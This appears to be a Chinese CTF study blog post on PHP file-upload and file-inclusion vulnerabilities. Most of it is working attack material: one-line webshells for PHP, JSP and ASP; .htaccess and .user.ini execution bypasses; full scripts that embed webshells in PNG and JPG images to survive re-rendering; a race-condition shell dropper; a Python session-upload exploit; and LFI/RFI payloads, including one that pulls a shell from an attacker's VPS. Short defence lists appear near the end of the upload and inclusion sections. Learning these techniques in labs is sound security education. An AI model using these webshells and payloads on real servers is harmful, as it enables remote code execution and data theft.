0%

文件上传漏洞总结

文件上传姿势总结

对于近期学习的文件上传的方式进行一个总结。本文除去二次渲染部分,其余部分均为nep联合战队ctf入门课中,firebasky文件上传课程讲解的课件。

什么是文件上传?文件上传有什么用。

文件上传漏洞介绍

一些web应用程序中允许上传图片、视频、头像和许多其他类型的文件到服务器中。文件上传漏洞就是利用服务端代码对文件上传路径变量过滤不严格将可执行的文件上传到一个到服务器中 ,再通过URL去访问以执行恶意代码。

文件上传

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form action="upload_file.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

注意form表单里面的enctype属性为二进制数据multipart/form-data

注释:允许用户上传文件是一个巨大的安全风险。请仅仅允许可信的用户执行文件上传操作。

php jsp asp小马

相信大家已经听了南浔姐姐讲的web第一节课,了解了一句话木马的相关操

作,我给没赶上上次课的同学再简单说说

介绍一些

1
2
<?php eval($_POST[0]);?> /经典的一句话木马
<?php phpinfo();?>
1
2
<%Runtime.getRuntime().exec(request.getParameter("0"));%>
#https://www.jianshu.com/p/123db17b78a0 #jsp木马
1
2
3
<%execute(request("0"))%>
//https://www.w3school.com.cn/asp/met_execute.asp
//https://www.cnblogs.com/xiaozi/p/7560907.html #asp木马

我们将一些危险的代码上传到服务器让其执行就可能危险到服务器的安全

菜刀蚁剑介绍

蚁剑安装

菜刀蚁剑

文件上传如何利用?

现在我们知道了什么是文件上传和文件上传的危害,那么如何进行利用?

利用条件是什么?

  • 能够绕过服务器上传脚本文件(php asp jsp)
  • 知道上传文件的路径和文件名

文件上传绕过

但是一般的网站都会来验证用户上传的信息,下面介绍一下常见的校验方法和绕过方法。

实验靶机:upload-labswp

客户端校验

  • javascript校验(一般只校验后缀名)upload-labs 第一关(浏览器 bp都可以)

服务端校验

  • content-type验证 upload-labs 第二关

  • 文件扩展名校验 (白名单黑名单) upload-labs 第三关

    1
    2
    白名单:   png jpg gif
    黑名单: (不能上传这些后缀名) php jsp asp
  • 文件内容头校验(GIF89a)文件幻数检测

  • 文件内容检测 (检测内容是否合法或含有恶意代码 二次渲染配合文件包含二次渲染

绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
找漏网之鱼:php3,php4,php7等 (PHP版本<5.3可使用%00截断) 
AddType application/x-httpd-php .php .php3 .php5 .php7

大小写绕过:AsP、pHP
文件后缀双写绕过 php ""

上传不符合windows文件命名规则的文件名 test.php:1.jpg test.php::$DATA 会被windows系统自动去掉不符合规则符号后面的内容
配合解析漏洞绕过

%00截断 (PHP<5.3.4时 shell.php%00.jpg 可截断%00后的内容) 配合解析漏洞绕过
c语言里面的%00

.htaccess绕过 (apache)
.user.ini绕过 (nginx)
.htaccess绕过

如upload-labs第四关

1
2
3
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:
URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

php网站在进行解析php的时候会首先解析当前目录下的配置文件

1
2
3
4
5
6
7
8
<FilesMatch "1.jpg">  //匹配文件
SetHandler application/x-httpd-php
//SetHandler方法将1.jpg当成php代码执行
</FilesMatch>
// 作用范围 当前目录

php_value auto_prepend_file ".htaccess"
#<?php eval($_POST[cmd]);?>

内容检测

一般来说是对上传的文件的内容进行一个检测,比如<? ?> php 等等

绕过思路是去构造免杀的webshell

1
<script language=php>@eval($_POST[123]);</script>#PHP5 支持

实验

ctfshow web168

1
2
3
4
<?php
$func = 'syste'.'m';
$arr = array('cat ../f*');
array_map($func, $arr);

FUZZ字典

fuzz模糊测试

1
php3 php4 php5 php6

构造优质上传漏洞Fuzz字典

二次渲染的三种姿势

参考链接:

Upload-Labs第Pass-16通关(二次渲染绕过) 详解

GIF绕过姿势

先用copy命令安排一个图片马:

1
copy 1.gif /b + cmd.php /a cmd.gif

上传带马的图片,发现没有成功,于是将它下载下来。发现文件名已经变了,且写在gif末端的PHP代码已经被扬了。

对于GIF的二次渲染而言,我们只需要比对渲染前后没有变化的位置即可。在没有变化的部分里面插入一句话木马,即可成功绕过。

PNG绕过姿势

PNG图片的原理在参考博客中有极为详细的解释与描述,这里就不再赘述。只复现二次渲染的方法。

博客里提到的第一种方法,目前未能复现成功,这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。

因此复现第二种方法,通过国外大佬的脚本一键生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./shell.png');
?>

得到的一句话木马为:

1
<?$_GET[0]($_POST[1]);?>

使用方式是get传参数0,post传参数1

注意:eval有时候运行不了,需要使用assert

?0=assert , 1=phpinfo()

JPG绕过姿势

未能复现成功,只写做法。

国外大佬的处理脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

羽师傅的处理脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
$miniPayload = "<?php system('tac f*');?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

1、先上传JPG图片,然后下载至本地保存为1.jpg

2、插入php代码,用脚本处理1.jpg

1
php jpg_payload.php 1.jpg

3、上传图片马;将生成的 payload_1.jpg上传。

4、验证;将上传的图片再次下载到本地。

可以看到,php代码没有被去除,证明我们成功上传了含有php代码的jpg图片。

注意:有一些jpg图片不能被处理,所以要多尝试一些jpg图片。

文件幻数检测(文件开头)

幻数 magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。

要绕过文件幻数检测就要在文件开头写上如下的值

1
2
3
.jpg	FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47

在文件幻数后面加上自己的WebShell代码就行(常见的是GIF89a

图像文件相关信息检测常用的是getimagesize()函数,需要把文件头部分伪造,也就是在幻数的基础上还加了一些文件信息。

image-20210208225003833

1
2
3
4
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

竞争条件攻击

如upload-labs第十七关

一些网站允许上传任意文件,然后检测文件是否包含Webshell,如果有则删除该文件。

服务器端在处理不同用户的请求时是并发进行的

如果并发处理不当或相关操作逻辑顺序设计的不合理时,将导致条件竞争漏洞

1
2
3
4
5
6
7
<?php
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
sleep(2);//检查操作
unlink($_GET['dst']);
}
?>

它先把文件保存在本地,再检查,然后删除

在上传完成和安全检查删除它的间隙,攻击者用多线程不断的发起访问请求该文件

该文件就会被执行从而生成一个恶意shell

竞争删除前生成shell流程:

上传文件→访问执行文件,生成shell文件→删除不安全文件 (多线程访问)

1
2
3
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

.user.ini绕过

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif

  • 需要当前上传的目录下有php文件

.user.ini导致文件上传绕过

防御

  • 文件扩展名服务端白名单效验
  • 文件内容服务端效验 <? php
  • 上传文件重命名
  • 隐藏上传文件路径
  • 限制相关目录的执行权限,防范WebShell攻击

文件包含

程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。

但正是因为调用的灵活性导致用户可能调用一些恶意文件,造成文件包含漏洞

demo实验

1
2
3
4
5
6
include()		//使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
//warning
include_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

本地文件包含(LFI)

用户可以控制包含的文件名,从而造成信息泄露和getshell

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.读敏感文件
?file=/etc/passwd

2.利用封装协议读源码
?file=php://filter/read=convert.base64-encode/resource=index.php #这样能看到php文件的源码

4.包含日志文件getshell
路径
apache:/var/log/apache2/access.log
nginx:/var/log/nginx/access.log

3.包含图片Getshell
在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码

5.session文件包含getshell

实验

CTFSHOW-web80-81

1
?file=/var/log/nginx/access.log

照片木马的制作

1
2
执行命令copy 1.png/b + 1.php/a 2.jpg 
前两个文件合并成一个文件,文件属性为2.jpg

PHP中的封装协议(伪协议)

file://

1
2
用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下

php://

1
2
3
4
条件:
allow_url_fopen:off/on
allow_url_include : 部分需要on (下面列出)
php://input #用的比较多 输入流
作用:
1
2
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和 php://input
php://filter用于读取源码,php://input用于执行php代码
1
2
3
4
5
6
7
8
9
10
11
#1. php://filter/read=convert.base64-encode/resource=[文件名]  //读取文件源码
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
#ctfshow web78

#2.php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>

#3.若有写入权限,[POST DATA部分] 写入一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

data://

条件:
1
2
3
4
5
6
allow_url_fopen:on

allow_url_include :on
#ctfshow web79
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

作用

1
2
自PHP>=5.2.0起,可以使用 data:// 数据流封装器,以传递相应格式的数据。
通常可以用来执行PHP代码
1
2
3
4
5
#1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

#2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

远程文件包含(RFL)

服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,

从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。

漏洞利用

条件:php.ini中开启allow_url_includeallow_url_fopen选项。

1、远程包含Webshell

1
2
?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为:

1
2
3
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

绕过姿势

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

1
php://filter/read=convert.%2562ase64-encode/resource
%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
文件包含getshell

浅析php文件包含及其getshell的姿势

防御

  1. 禁止远程文件包含 allow_url_include=off
  2. 配置 open_basedir=指定目录,限制访问区域。
  3. 过滤../等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 magic_quotes_qpc=on php 4 5
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。

总结

文件上传经常和文件包含一起考察。 如:ctfshow web164

  • 判断是黑名单还是白名单

  • 白名单解析漏洞绕过,配合文件包含 照片二次渲染等等

  • 黑名单扩展名绕过或.htaccess,.user.ini等绕过总结

    1
    2
    include() url
    file_get_concent()

解析漏洞攻击

主要有目录解析、文件解析,Apache解析漏洞、Nginx解析漏洞、IIS7.5解析漏洞。

zip:// & bzip2:// & zlib://

作用:

1
2
3
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件

更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

phar://

1
2
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
#经常使用于序列化

session.upload_progress

利用session.upload_progress进行文件包含

CTFSHOW

sess_flag

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# coding=utf-8
import io
import requests
import threading

sessID = 'flag'
url = 'url'

def write(session):
while True:
f = io.BytesIO(b'a' * 256 * 1) #建议正常这个填充数据大一点
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat ../f*");?>'},
files={'file': ('a.txt', f)}
)

def read():
while True:
response = session.get(url+'upload')
if 'flag' in response.text:
print(response.text)
break


session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True #当daemon为True时,父线程在运行完毕后,子线程无论是否正在运行,都会伴随主线程一起退出。
write.start()
read()

长度截断

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

解析漏洞

(一)IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。(传个图片马)

文件解析
形式:www.xxx.com/xx.asp;.jpg(文件名)
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx

Iis7.5解析漏洞(php.ini开启fix_pathinfo)

1
.php --> /xx.jpg         //上传.jpg一句话,访问时后面加上/xx.php 

(二)apache解析漏洞

PHP 5.2 00存在截断上传(0x00)(%00)
PHP 5.3之后就没有了该漏洞

漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。

漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置

AddHandler php5-script .php

这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置

AddType application/x-httpd-php .jpg

即使扩展名是 jpg,一样能以php 方式执行。(htaccess文件上传解析漏洞,可以将这段代码写到.htaccess中,再上传写有php一句话代码的jpg文件中)

(三)nginx解析漏洞

漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为 “phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

nginx解析漏洞(php.ini开启fix_pathinfo)

1
.php --> xxx.jpg%00.php      //Nginx <8.03 空字节代码执行漏洞

(四)IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

-------------本文结束感谢您的阅读-------------